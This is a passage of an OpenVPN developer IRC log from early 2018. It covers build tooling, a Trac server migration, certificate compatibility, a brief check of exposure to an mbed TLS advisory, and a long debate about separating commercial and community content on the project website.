re-evaluated post release 08:06 <@dazo> (plus .. the patch contributor carries a verifiable reference to the OpenVPN Inc too :)) 08:18 <@cron2> dazo: a quick read-through whether it changes any other code is what I'd do 08:19 <@cron2> what *I'll* do :) and then merge 08:19 <@dazo> thx :) 12:54 <@vpnHelper> RSS Update - tickets: #1009: Requires VPN Disconnect to add new Profile <https://community.openvpn.net/openvpn/ticket/1009> 18:44 <@vpnHelper> RSS Update - tickets: #1009: iOS: Requires VPN Disconnect to add new Profile <https://community.openvpn.net/openvpn/ticket/1009> 18:50 <@vpnHelper> RSS Update - tickets: #1008: iOS: OpenVPN stuck on "RESOLVING" when reconnecting after sleep using LTE <https://community.openvpn.net/openvpn/ticket/1008> 20:50 <@vpnHelper> RSS Update - tickets: #985: iOS: .mobileconfig with .p12 Payload does not work <https://community.openvpn.net/openvpn/ticket/985> --- Day changed Thu Feb 01 2018 00:37 <@ordex> syzzer: in case you want to know more why keys encrypted with ossl1.1 are not compatible with mbed TLS: https://github.com/ARMmbed/mbedtls/pull/1219#issuecomment-362171628 00:37 <@vpnHelper> Title: pkcs5: add support for additional hmacSHA algorithms by ordex · Pull Request #1219 · ARMmbed/mbedtls · GitHub (at github.com) 01:14 <@cron2> mornin 01:18 <@ordex> morning 01:37 <@cron2> we've broken p2p with tls-client/tls-server in interesting ways in 2.4 01:38 <@cron2> --connect-retry has an exponential decay nowadys, leading to up-to-300s "dead time" on the tls-server(!) side 01:39 <@cron2> so when the network gets disrupted for a longer time, and ping-restart is in use, it can happen that the tls-server is just "not listening" to incoming client packets when the client tries, and when the server is ready to listen, the client is in connect-retry sleep... 01:46 <@vpnHelper> RSS Update - tickets: #1010: p2p, tls-client/tls-server, connect-retry not playing nicely <https://community.openvpn.net/openvpn/ticket/1010> 02:04 <@vpnHelper> RSS Update - gitrepo: Update copyright to include 2018 plus company name change <https://github.com/OpenVPN/openvpn/commit/499794596deb16965164b611ff61c8609c6cd08e> 03:37 <@cron2> mattock: buildmaster did it again, building "builder-cron2-freebsd-103-amd64-stable-master" and "builder-cron2-freebsd-103-amd64-stable-master--with-crypto-library=mbedtls--enable-crypto" at the same time 03:37 <@cron2> both in release/2.4 branch 04:09 <@mattock> cron2: ok, then it needs some work 04:43 <@ordex> cron2: mattock: is there any way to see the registered email of a user on trac? (not the forum) 04:47 <@mattock> ordex: not directly I think 04:49 <@mattock> emails are synced from ldap to trac but I think they're invisible to other users 04:49 <@ordex> seems so, I can't access any user page 04:49 <@ordex> I wanted to reach TaiwanMobileServices without writing my email on the ticket 04:50 * cron2 could easily imagine a mobile ISP blocking all UDP except for well-known services 04:50 <@cron2> (or rate-limiting to very low pps) 04:50 <@cron2> "UDP is full of shit, and only used for DDoS anyway" 04:50 <@mattock> ordex: I can check the email foryou 04:50 <@mattock> for you 04:52 <@ordex> cron2: yeah 04:52 <@ordex> but this guy hasn't understood my point yet 04:52 <@ordex> mattock: thanks ! 04:52 <@plaisthos> cron2: ouch. That seems to be my fault I guess 04:53 <@plaisthos> cron2: but tls-server tls-client don't need to symmetric 04:53 <@plaisthos> you can tls-server on the tcp client side and tls-client on the tcp server side 06:57 < tincantech> ordex: you could get that email from the forum 07:22 <@ordex> tincantech: yeah true 09:53 <@syzzer> ordex: yeah, I already 'watched' the pr a little while ago :) 09:55 <@ordex> ah ok :) 10:24 <@cron2> are we not frowning about tab-indent these days? 10:24 <@cron2> but I can adjust that :) 10:45 <@dazo> cron2: yes we are ... on-the-fly fixes are acceptable, but should not repeat too often :) 11:06 <@vpnHelper> RSS Update - tickets: #1011: iOS: connection details absence <https://community.openvpn.net/openvpn/ticket/1011> 11:23 <@vpnHelper> RSS Update - tickets: #1012: iOS: Adjusting the resolution to the iPad Pro 12,9“ <https://community.openvpn.net/openvpn/ticket/1012> 13:33 < tincantech> does anybody know what a Mac Book Pro with OpenVPN 2.4.4 x86_64-apple-darwin16.7.0 [SSL (OpenSSL)] [LZO] [LZ4] [PKCS11] [MH/RECVDA] [AEAD] built on Oct 2 2017 would use to update DNS ? (update-resolv-conf ?) 14:21 < clpwn> hey! does anyone here have knowledge about how OpenVPN handles the routing table in macOS? 14:33 <@cron2> as on any other OS except windows? "call the route/ifconfig command to set up the routing" 14:34 <@cron2> quite obvious from the log file --- Day changed Fri Feb 02 2018 04:37 <@cron2> syzzer: I think you might not need the m4 file, "autoreconf -vif" should create it - *but* it might be necessary to add it to the file list in Makefile.ac - does "make distcheck" work? 04:51 <@dazo> whazzup? 04:51 * dazo hears Makefile.am mumbling :) 04:53 <@dazo> Normally you would not need to package m4 files; I believe automake should ensure that's packaged properly by itself 04:58 <@dazo> Actually, I believe this trick is related to: 04:58 <@dazo> Makefile.am:ACLOCAL_AMFLAGS = -I m4 05:04 <@cron2> dazo: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg16426.html 05:05 <@vpnHelper> Title: [Openvpn-devel] [PATCH v3] Enable stricter compiler warnings by default (at www.mail-archive.com) 05:05 <@cron2> syzzer uses a new macro and packs m4, and he and selva seem to be disagreeing on what is "right" (which is autoconf normal, I think :) ) 05:09 <@dazo> actually it seems that this m4 file is not installed by default on RHEL7 05:10 * dazo will check other, both older and newer distros 05:19 <@dazo> ahhh ... I seem to need to install autoconf-archive on RHEL7 and Fedora 27 .... but that package is missing in RHEL6 ... we should check what other distros/OSes does as well (*BSD, Solaris and AIX) 05:27 <@cron2> so we need it indeed, but then we also need to put it into "some file that tells make dist what to do", no? 05:27 <@dazo> nope, 05:27 <@dazo> 'make distcheck' works out-of-the-box :) 05:27 <@dazo> Just checked 05:28 <@cron2> why? 05:28 <@dazo> the magic is: ACLOCAL_AMFLAGS = -I m4 in Makefile.am 05:28 <@cron2> so that includes everything in m4/ ? 05:28 <@dazo> everything it sees it needs from m4/ it seems 05:29 <@dazo> if we extend it to say: ACLOCAL_AMFLAGS = --install -I m4 .... then it will even copy the needed .m4 files from the system to the first -I directory 05:33 <@dazo> yupp .. only the needed .m4 files ... I added an "empty" .m4 file which was not included in the tarball ... even after running autoreconf && ./configure 05:36 <@dazo> btw ... I recently discovered "make maintainer-clean" .... that's dangerous ... it will remove anything not expected to be there, including stray files .... it looks like you just did a fresh 'git clone' 05:55 <@ordex> :D sounds thrilling 14:18 <@vpnHelper> RSS Update - tickets: #1013: Cannot connect to /23 subnet on remote network <https://community.openvpn.net/openvpn/ticket/1013> --- Day changed Sat Feb 03 2018 00:07 <@vpnHelper> RSS Update - tickets: #1014: EVENT WAIT hang after sleep on wifi <https://community.openvpn.net/openvpn/ticket/1014> 03:19 <@vpnHelper> RSS Update - tickets: #1014: iOS: NIP crash on EVENT WAIT after sleep on wifi <https://community.openvpn.net/openvpn/ticket/1014> --- Day changed Sun Feb 04 2018 04:55 <@vpnHelper> RSS Update - gitrepo: Treat dhcp-option DNS6 and DNS identical <https://github.com/OpenVPN/openvpn/commit/849006bf17bba524e6f3344598adcbe41bedf450> 11:49 <@cron2> tincantech: could you *please* repair the mbedtls installation on debian-85? 11:49 <@cron2> it fails every time because configure cannot find -lmbedtls, and that is annoying --- Day changed Mon Feb 05 2018 03:36 <@syzzer> cron2: so, any conclusions on the m4 stuff? 04:13 <@cron2> syzzer: I think I understood dazo to mean "take it as it is, we need it on enough systems to make it worthwile" 04:14 <@cron2> we just got hit by the grandmother of flu last week... simone was sick since Wednesday (so I had all the kids' related activities) and since yesterday, I'm down... 04:15 <@cron2> but I think i can find an hour or so today and tomorrow to apply the missing 2.4 stuff, so we do not need to postpone *AGAIN* 04:29 <@syzzer> cron2: yeah, this monster-flu is raging through NL too. Get well soon :) 04:45 <@cron2> thanks :) 07:54 < tincantech> ordex: if you get some time could you have a look at this : https://forums.openvpn.net/viewtopic.php?f=33&t=25779 07:54 <@vpnHelper> Title: Everything is routed via default route - OpenVPN Support Forum (at forums.openvpn.net) 07:54 < tincantech> it is android and I am stumped 07:55 < tincantech> tia 08:10 < tincantech> cron2: you said something about mbedtls, which version should i use ? (git or stable) .. also get well soon :) 09:01 <@ordex> I think we normally assume people to be using the latest stable (i.e. 2.6.0 or 2.6.1) 09:01 <@ordex> but cron2 might have a different opinion 09:02 < tincantech> ordex: hi thanks for your help 09:02 <@ordex> np 09:56 <@syzzer> "some supported version", which in this case is 2.x :) 11:15 <@dazo> syzzer: what cron2 said ... keep the ax_* file you added, and I've checked 'make distcheck' and autoconf/automake is smart enough to include it automatically when it is used 11:18 <@dazo> (RHEL6 needs that file, might be *BSD, Solaris or AIX needs it too) 11:58 <@cron2> *cough* 16:18 -!- floppym_ is now known as floppym --- Day changed Tue Feb 06 2018 03:22 <@vpnHelper> RSS Update - tickets: #1015: management kill function <https://community.openvpn.net/openvpn/ticket/1015> 09:11 <@cron2> mattock: we need to postpone again. My brain is mushy and my eyes are hurting... no way I can do reviews and merging today 10:49 <@mattock> cron2: ok, no problem 13:31 <@mattock> forgot about tomorrow's meeting 13:31 <@mattock> do we want one? 15:21 <@dazo> I can't join the meeting tomorrow ... for the next 3-4 weeks it will be really hard for me to join, worst case not until end of March 18:42 <@ordex> I'm here at that time, so for me is fine either way mattock --- Day changed Wed Feb 07 2018 00:35 <@mattock> cron2 is sick so maybe we can just skip this week 00:38 <@ordex> fine with me 02:12 <@syzzer> same, nothing pressing from my side so ok to postpone both meeting and release 02:13 <@mattock> ok 02:32 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 268 seconds] 02:33 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:37 <@syzzer> ordex: have you seen the mbed tls security advisory? https://tls.mbed.org/tech-updates/security-advisories/mbedtls-security-advisory-2018-01 02:37 <@vpnHelper> Title: mbed TLS Security Advisory 2018-01 - Tech Updates (at tls.mbed.org) 02:42 <@ordex> not really 02:42 * ordex opens it 02:42 <@ordex> syzzer: ouch quite bad! nice catch 02:42 <@syzzer> you're probably not affected, but good to check :) 02:53 <@ordex> syzzer: yeah 06:30 <@ordex> mbedTLS-2.7.0 has been tagged since few days and we already get patches :] 06:30 <@ordex> cool 06:35 <@cron2> "we get patches" = "it's incompatible with our current code"? 06:36 <@cron2> ah 06:36 * cron2 just saw the patch 06:36 <@ordex> :) 09:48 < eworm> A release was planned for today, no? Any news on this? 09:56 <@ordex> postponed, due to lack of manpower 09:59 <@dazo> ordex: syzzer: We should be good in regards to CVE-2018-0488 (I don't see us calling mbedtls_ssl_conf_truncated_hmac() in the core library), but CVE-2018-0487 is trickier, but probably more a moderate issue for the our Connect clients 10:00 <@dazo> (IIRC, PrivateTunnel servers, built on the OpenVPN 3 Core library too uses OpenSSL - so no risk there) 10:10 <@syzzer> dazo: depends on whether you've enabled the RSASSA-PSS sigs. OpenVPN-NL disables those, so is not affected. 10:15 <@dazo> syzzer: it is enabled by default ... and I don't think we change that default for the Connect builds 10:23 <@ordex> dazo: maybe we should just upgrade to mbedTLS-2.7.0 as soon as possible? 10:29 <@dazo> ordex: yeah, but I'm not trembling of fear from this issue ... so no need to rush anything 10:29 <@dazo> (but shouldn't be postponed too long either, though) 10:30 <@ordex> yup 12:46 <@ordex> tincantech: it's ok with you if, when you see "bugs" for iOS or Android bbeing reported on the forum, you could reply how I did with others? basically linking the sticky thread with the instructions and then closing the thread? 15:12 <@plaisthos> btw. for the token-auth issue I propose a two step approach 15:13 <@plaisthos> per default if token auth fails forget token and retry with user-pass 15:14 <@plaisthos> and add a redirective that says forget-token-on-reconnect that is automatically pushed with our own gen-auth-token 15:14 <@plaisthos> if the client does not know it no harm is done and if the client knows it will not try to use auth-token if it cannot succeed anyway 16:38 <@dazo> \o/ https://copr.fedorainfracloud.org/coprs/dsommers/openvpn3/ .... Fedora/RHEL/CentOS development builds of the new openvpn3 client ... 16:38 <@vpnHelper> Title: dsommers/openvpn3 Copr (at copr.fedorainfracloud.org) 16:38 <@dazo> easiest install is to ensure the copr yum/dnf plug-in is installed .... yum/dnf copr enable dsommers/openvpn3 && yum/dnf install openvpn3-client 16:50 < tincantech> ordex: if i can identify ios/andriod bugs i can 20:59 <@ordex> tincantech: sure 22:55 <@vpnHelper> RSS Update - tickets: #1016: OpenVPN Connect clears unsaved credentials on exit with save slider enabled <https://community.openvpn.net/openvpn/ticket/1016> 23:07 <@vpnHelper> RSS Update - tickets: #1016: iOS: OpenVPN Connect clears unsaved credentials on exit with save slider enabled <https://community.openvpn.net/openvpn/ticket/1016> --- Day changed Thu Feb 08 2018 08:15 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel --- Day changed Fri Feb 09 2018 01:42 <@mattock> btw I've created a new Trac (community.openvpn.net) server and will probably do the switch early next week 01:44 <@mattock> this is a major OS and Trac upgrade (1.0 -> 1.2), but I don't expect any major issues on the new server 01:45 <@mattock> all of the esoteric configurations we have should have been preserved (a very large percentage of the configurations were in configuration management even before I started building the new server) 05:22 * dazo lets thunderbird "kill" the "Reconnect button" mail-thread now 06:45 <@mattock> dazo: that horse is dead, agreed 06:59 <@plaisthos> I am still riding on the "Fix auth-token auth horse" 07:20 <@dazo> plaisthos: that's decent enough, but lets fix that in a different thread ;-) 14:04 <@cron2> syzzer: if I have a CA that does ECDSA signatures on a plain RSA key, will that resulting key (+ca.crt) work with OpenVPN? If yes, which OpenSSL versions? 14:04 * cron2 avoided ECDSA so far, after reading all the bug reports 14:12 <@dazo> cron2: I have a setup with a CA and sub-CA based on RSA keys ... and I've deployed ECDSA certs to server and client, and that works quite nicely 14:13 <@dazo> but you need separate EC keys, iirc ... you can't reuse the RSA keys 14:14 <@dazo> (used in production with RHEL7 ... so openssl-1.0.2k baseline) 14:18 <@cron2> other way round, the CA is doing ECDSA signatures on RSA client keys 14:18 <@cron2> so the keys are "all normal" but would carry a funky signature 15:55 <@plaisthos> that should work 15:55 <@plaisthos> but that also means that your ca certificate itself is an EC certificate instead of an RSA certificate 16:06 <@plaisthos> cron2: basically if a cert is rsa, signatures of it are rsa style, if the cert if ec signatures of it are ec style 16:06 <@plaisthos> both for signing other certs and for proving that you have the private key during tls session (e.g. via external-key-manamgent) 16:34 <@dazo> yeah, I think it should work either way 19:41 < tincantech> Obi-wan Kenobi: ArFour 'openvpn' code five to Coruscant, care of the Old Folks' Home :) if only 20:24 < tincantech> ordex: https://forums.openvpn.net/viewtopic.php?f=33&t=25779#p76611 20:24 <@vpnHelper> Title: Everything is routed via default route - OpenVPN Support Forum (at forums.openvpn.net) 20:24 < tincantech> how did i miss that !? 20:48 <@ordex> tincantech: well, also missed it until I looked at the screenshot 21:09 < tincantech> ordex: it will not happen again ;) 21:12 < tincantech> andriod bug: invalid netmask =] 21:15 < tincantech> android: unsupported gateway < invalid netmask // priorities --- Day changed Sat Feb 10 2018 02:06 <@ordex> plaisthos: https://forums.openvpn.net/viewtopic.php?f=33&t=25809 << have you seen this? I think android simply doesn't route hot-spot traffic through the vpn, no ? 02:06 <@vpnHelper> Title: OpenVPN Connect in Combination with WiFi Hot-Spot - OpenVPN Support Forum (at forums.openvpn.net) 05:54 <@plaisthos> ordex: no it does not 05:54 <@plaisthos> some phones even hot spot while on vpn 05:55 <@plaisthos> but you can fix that by *exclduing* the hotspot lan range from the vpn 06:16 <@vpnHelper> RSS Update - tickets: #1017: OpenVPN TCP with 300 clients, new clients won't ping <https://community.openvpn.net/openvpn/ticket/1017> 09:18 <@ordex> plaisthos: want to reply to the guy? 10:12 <@plaisthos> ordex: I don't know openvpn connect but I think you don't have a ui option for excluding networks, do you? 12:08 < tincantech> ordex: you don't have to answer every question ;) 13:10 <@cron2> plaisthos, dazo: thanks 15:37 -!- Netsplit *.net <-> *.split quits: @dazo 15:45 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 15:45 -!- ServerMode/#openvpn-devel [+o dazo] by niven.freenode.net --- Day changed Sun Feb 11 2018 04:13 <@syzzer> cron2: yeah, that should work fine. But it does mean that all your clients need ECDSA support 04:13 <@syzzer> we have it the other way around in the sample-keys: RSA CA, ECDSA client cert 10:51 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 255 seconds] --- Day changed Mon Feb 12 2018 01:16 <@mattock> dazo, cron2: any suggestions for 2.4.5 release date? 01:16 <@mattock> "tag on Tuesday evening, release on Wed" as usual? :) 01:16 <@mattock> Jonathan on the ml was asking 01:17 <@mattock> oh, and I will switch to the new community.openvpn.net server now 01:18 <@mattock> making some final tests and then do a DNS switch 01:57 <@mattock> done 01:58 <@mattock> Trac front-page on the old server has a warning section at the top, in case your DNS is still pointing to the old server 02:26 -!- syzzer [~root@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:26 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:48 <@syzzer> seems my bouncer didn't come up properly after a power outage yesterday, did I miss something? 03:00 <@mattock> (09:13:53) syzzer: [10:13:34] we have it the other way around in the sample-keys: RSA CA, ECDSA client cert 03:00 <@mattock> is the last line in my buffer playback 03:00 <@mattock> and I had my IRC client turned off for much of the weekend 03:00 <@mattock> so I guess not 03:10 <@syzzer> mattock: ah, thanks! 03:34 <@mattock> cron2: the new community.openvpn.net node has a public IPv6 without the tunnelbroker kludge 03:34 <@mattock> I tested it with ping6 and telnet -6 and it seems to work 06:07 -!- syzzer [~root@openvpn/community/developer/syzzer] has quit [Quit: leaving] 06:08 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:08 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:47 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has quit [Quit: leaving] 16:30 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has joined #openvpn-devel 16:30 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 16:31 <@syzzer> hrmpf, power outage corrupted my ESXi boot disk 16:31 <@syzzer> time to abandon vmware 18:19 < pekster> So, how come the "community" portal puts Access Server at the _top_ of the "Downloads" page? No wonder users have such a hard time mixing open-source verses closed-source, commercial pay-ware 18:19 < pekster> I get this is very much in OpenVPN Technologies Inc favor, but wtf? 18:21 < pekster> Maybe this needs to be de-rant-ified a bit, but this confusion is literally propogated by a "unified" page that seems to have as many paths has possible back to commercial stuff, even if users are smart enough to find the "community" button in the first place. At best that should be a single link to the commercial offerings, and it really needs to be clear that users are leaving the community-maintained pages 18:21 < pekster> Probably needs to go to the ML too, but I figured I'd fish for details here if there's some master plan in all of this (that doesn't involve lining commercial pockets more) 18:28 < pekster> To be clear, I'm not anti-commercialism, just aginst such obvious mixing of GPL and non-GPL on what should be the "Community" landing page 18:30 <@ordex> pekster: I have thought about this too some time ago. but this confusion imho simply comes from the wrong assumption that openvpn.net is the website of the open source project, while it is not. it is the website of the OpenVPN Inc. company, which freely hosts a community section. imho that's the issue 18:34 <@ordex> pekster: i think the second issue is that 99% of the people visiting the website assume there is no commercial solution and assume that everything they find is just OpenSource, thus mixing up the software. but i don't think this can be fixed: people just don't read and go straight to where they think they'll find what they need 18:35 <@ordex> but this is just my perspective 19:16 < pekster> ordex: Yes, fully agree with your 2nd point. I mean, by clicking (and simply using the rough visual indicator of "how big or obvious is the thing I just clicked on" as a kind of layout, you'd visually assume that OpenVPN.net -> community -> downloads -> AS server. Thus AS server is a "community" product, which is of course 100% wrong 19:18 < pekster> I haven't clicked through from the beginning for a while, but I think we may want to consider whath a fully separate community page would look like, and if that's a benefit. I'm happy to have it "link back" to a commercial solution, but only in a very obvious & intentional fashion. Seems to me that many/all of the links, menus, & stlying is shared with OpenVPN Tech. Inc., with little-to-no ability to customize it for the GPL ... 19:18 < pekster> ... stuff. Which, IMO, is harmful to the GPL product 19:20 < pekster> Maybe we, the GPL community, need a more proper division of open vs NOT open code. Here's what I consider one of the "gold standards" for GPL vs "let's sell you a solution" divisions: https://syslog-ng.org/ 19:20 <@vpnHelper> Title: syslog-ng - Open Source log management solution (at syslog-ng.org) 19:20 < pekster> Notice how the only real way to get to the "solution" sales junk is to click the ".com" link. A proper community site could happily link back with whatever by-line we choose, but that way it's hopefully very clear to users where they're about to go and what they can expect 19:22 < pekster> Notice also how the "commercial syslog-ng Premium Edition" is at the _end_ of the "Downloads" page, clearly indicates what it is, and has a link if a visitor wishes more info. Clean, and promotes what the page you visited is there to supply: open-source project information and downloads 20:51 < tincantech> pekster: overall .. i would say maybe 75% of ppl know what they want 20:51 < tincantech> 25% of ppl cant be helped 20:51 < tincantech> i mean cannot be pre-informed 20:53 < tincantech> so then you end up in this argument about the "openvpn" name .. 20:53 < pekster> I'm saying the site is unline almost any other project that actually cares about proper commercial vs open-source separation 20:53 < tincantech> i totally agree 20:53 < pekster> What basis do you have for those percentages, besides wild guessing? 20:54 < tincantech> wild guess only 20:54 < tincantech> *you* were the first person to emaplain to me the diff between the free or the paid product 20:55 < tincantech> and i thought i knew what was going on 20:55 < pekster> Fair enough. I guess I'm just annoyed that we had a similar conversation several years ago, and we seem to be stuck in the same rut where the commercial arm says "sure, GPL/community side can have its own presense" and then the technical UI is "unable" to really divorce itself from the commercial UI meaningfully 20:55 < tincantech> yup 20:55 < tincantech> my guess is the name "openvpn" is too valuable 20:56 < tincantech> godda pay the bills 20:56 < pekster> What's that go to do with properly seperating out the offerings? 20:56 < tincantech> have you ever run a company ? 20:57 < pekster> syslog-ng & balabit have a similar co-existance, but if you looked at their site it's mangaed better 20:57 < pekster> OVT is not responsible for the GPL side of things 20:57 < pekster> The _community_ is 20:57 < pekster> We can do whatever we want, and if that's rename to LibreVPN (and really: let's not) then we can 20:57 < tincantech> lol! 20:57 < pekster> Wireshark did that from Ethereal due to fracturing. This has zero to do with "running" a company and all to do with not shitting on our users 20:59 < tincantech> ok .. "running a company" = making decisions about money .. and when you see the revenue is seriously reliant on your "current" model it is hard to make those ppl change 21:00 < pekster> Current model of abusing the GPL community? You have a very pessimistic view, and I thought I was the cynic here 21:00 < tincantech> even if it makes sence to change .. it scares the accountants 21:00 < pekster> If that's _intentional_ then we, the GPL community have far bigger problems (and I'd equally like to know your justification for that view) 21:01 < tincantech> Current model of abusing the GPL community? = yep 21:01 < tincantech> i don't agree with it .. bu that seems to be the prefered way 21:01 < pekster> If it's not, and just the status quo, then there's probably a better solution. It sounds like you're advocating a hard-split/fork, and I'm suggesting a more mutually beneficial starting point. To begin with anyway 21:02 < tincantech> i am not advocating anything .. just trying to see both sides from more than a technical standpoint 21:02 < pekster> Yes, the site has issues, and it's clear OpenVPN Tech has little/no interest in doing the work on the technical front. Maybe we need a separate web backend and some mutually-beneficial cross-linking. Again, look at syslog-ng vs Balabit 21:03 < tincantech> ok looking now 21:03 < pekster> But saying that "the commercial side is out to screw the GPL folks" is not something I think you should be suggesting unless you have some proof it's intentional 21:03 < pekster> a. la. Occam's Razor 21:03 < tincantech> more or less 21:04 < tincantech> hard to come to any other conclusion really 21:04 < tincantech> think of me as: on your side .. but to pathetic to care 21:05 < pekster> Um, what? I just suggested 2 viewpoints, one suggesting a lack of effort to fix the issue, verses active malice 21:06 < pekster> For the record, I think there's just been no one who cares in a position to do anything about it. For going on 3 years now (plus some history in years before I got involved due to similar "issues") 21:07 < tincantech> hard fork time 21:07 < pekster> Anyway, my gold standard would be syslog-ng's site. A clean, simple entry point for the community site, possibly as a subdomain of "openvpn.net" (say, "gpl.openvpn.net" or "community.openvpn.net", or, if need be, a separate domain entierly.) Then we both cross-link to resources, with cute top-of-page access and footers/blurbs where appropriate 21:07 * nb thinks the comercial folk are nice 21:07 * nb has been helping test the ios app 21:08 < pekster> It's not the "folk" I'm ananoyed with. It's the website and it's awful lack of separartion 21:08 < nb> yeah 21:08 < tincantech> sub domain would make sense 21:08 < nb> i think it is a little confusing 21:08 < pekster> I'll become annoyed with the commercial arm only if they fight the issue to obvious benefit of commercial interests over the community. This only works where both sides get value, and right now I don't think I need to make a case that we don't have that today 21:12 < tincantech> pekster: i agree with your point but not enough to actually change anything .. sorry .. after over 10k posts on the forum my opinion is probably jaded --- Day changed Tue Feb 13 2018 00:25 <@mattock> I think everyone agreed that the openvpn.net site is horrible in general 00:25 <@mattock> for reasons unknown to me it has seen near-zero attention for years 00:26 <@mattock> even though it is the entrypoint for the commercial and GPL side 00:27 <@mattock> one reason is the poor approach taken early on of entangling various services directly to the Joomla source code (afaik) 00:27 <@mattock> -> no easy updates nor migration to something else 00:27 <@mattock> I believe the entanglement is finally being resolved 02:16 <@mattock> appears community.openvpn.net migration was very uneventful, which is good 05:38 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 06:43 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:44 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 08:23 <@ecrist> ping mattock 08:23 <@ecrist> looks like someone broke the pwm redirect 08:23 <@ecrist> it's pointing to a 10.x network address now 08:23 <@ecrist> users are complaining because they cannot register 10:00 <@cron2> oh, pekster has resurfaced :-) 10:20 <+krzee> \o/ 11:17 <@mattock> ecrist hmm, I will check 11:18 <@mattock> ecrist: oh yes, very good, will fix within 50 minutes 11:28 <@mattock> ecrist: fixed, testing now 11:28 <@mattock> the problem got masked by the fact that I always had VPN up when testing and did not notice that URL was pointing to an internal address 11:30 <@mattock> ecrist: tested and works 12:05 <@mattock> meeting tomorrow people? 12:08 * cron2 is on vacation 12:31 <@ecrist> thanks mattock 13:53 <@mattock> ecrist: no problem, too bad I did not spot it while testing the new instance 14:29 <@syzzer> mattock: I can do meeting 14:29 <@syzzer> in particular I'm curious about release planning 14:29 <@syzzer> as we're trying to follow suit with -NL, and I try to allocate our resources too :) 14:30 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has quit [Quit: leaving] 14:31 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:31 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:31 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Client Quit] 14:32 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:32 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 15:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:11 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:16 <@dazo> pekster: good points, even as an OpenVPN Inc employee I can agree most of it ... there are many historical reasons how things have ended up where we are today. There's work in the pipe getting a brand new company web site up'n'running (which has been difficult as mattock explained) due to intricate integrations (which I believe is avoided in the new site). Secondly, the company has learnt a lot since the current website got released 15:16 <@dazo> years ago about what it truly means to be a proper OSS company as well as having commercial offering ... 15:17 < pekster> Ah, good to hear movement on both the site and "lessons", in the most general meaning here 15:17 <@dazo> I agree we're not a good example when it comes to how it is presented on the website .... but the company itself is, in my personal point of view, in a far better on this area too - it's just not well "advertised" 15:18 <@dazo> s/, in a/, is / 15:18 < pekster> It would be ideal if the landing page could perhaps make it obvious (and easy, both both GPL vs Corp arms here,) how to get to each side. Maybe even a pretty basic (and yes, as flashy as Corp wants ;) way to click into the Commercial Solution or Open-Source Community OpenVPN 15:18 < pekster> Then have the sites mostly-separate from there, with any mutually-beneficial cross-linking desired 15:18 <@dazo> yeah, agree 15:18 <@dazo> d 15:19 <@dazo> and we should really clean up community.openvpn.net, perhaps get a better community landing page than the Trac wiki entry point 15:20 < pekster> And yea, I was previously aware of the crummy CRM (Joomla was it?) limitations. I have awful memories of the Confluance product line with similar stupid limitations from a couple jobs ago :\ 15:20 <@dazo> on the community.openvpn.net side, the community can really come up with concrete ideas .... since it's a bit marketing in this, it should probably just be run by the company for acceptance (shouldn't be a problem, as long as it respects there's a business side as well) 15:22 <@dazo> the strategy of the company is to give the community fairly free leashes to govern itself. mattock, ordex, lev and I are all employees and at least mattock and I do communicate community needs to the management fairly frequently (we try to act as a bridge between Corp an Community) 15:23 <@dazo> not saying we're doing everything in the very best ways ... we're still figuring out how to solve stuff from time to time ... but there is a at least an official link between community and corp 15:24 < pekster> Yup, and that's good, it sounds like we just need to agree on a sligihtly more descriptive summary of goals/intent, get general community buy-in (I don't want to be the only one with an agenda here :P) and then get those interested in some more specific discussions (web frameworks available, what kind of look/feel, crosslinking, etc) and make sure it plays well from a user/UI standpoint 15:24 <@dazo> exactly! 15:24 < pekster> If you missed it in the backscroll, I was holding up syslog-ng vs the commercial wing of balabit as a kind of "gold standard" for the ease of access and elegance I'm pining for 15:27 <@dazo> yeah 15:28 <@dazo> we've kind of tried to do that on the community landing page though - but the index page has grown to be quite chaotic 15:29 < pekster> Right, and just isn't well divorced of the mixed-in commercial content without any obvious boundries, at least unless you're already very familiar with the product lines 15:29 < pekster> But again, CRM crappynenss 15:29 <@dazo> :) 15:29 <@dazo> yeah 15:30 <@dazo> In short term .... somebody with time and interest could suggest an improved landing page (even if it is Trac wiki replacement) ... which reorganises the long list of entries in a better way, splitting up in sub-pages or whatever 15:31 < pekster> Sounds easier than a framework replacement by far. I might play with some test pages. At minimum I don't want to make the current situation worse, despite my desire for some improvement here 15:32 <@dazo> heh ... not sure it can be that much worse ;-) 15:33 <@dazo> In longer term ... I can dig around a bit to figure out what platform is used for the new site ... and to see if we could have a community managed landing page there - or if we have our own CMS server with the same platform and styling 15:34 <@dazo> but if carrying our own CMS server ... then someone needs to manage it, which would mean the community need to be involved more directly in it 15:34 < pekster> Unified styling in general may be nice, although some distinction (logo, color, etc) might help aid the distinction between the groups 15:34 <@dazo> agreed! 15:34 < pekster> I'd be interested to know if we have the option to run multiple instances; $dayjob did something similar when we had a short-term contractor that needed some limited access to wiki & ticketing but had to be separate from our internal-bits 15:35 <@dazo> that's actually something I can bring up with management and marketing ... figure out how to separate commercial and community with logo and colours 15:35 < 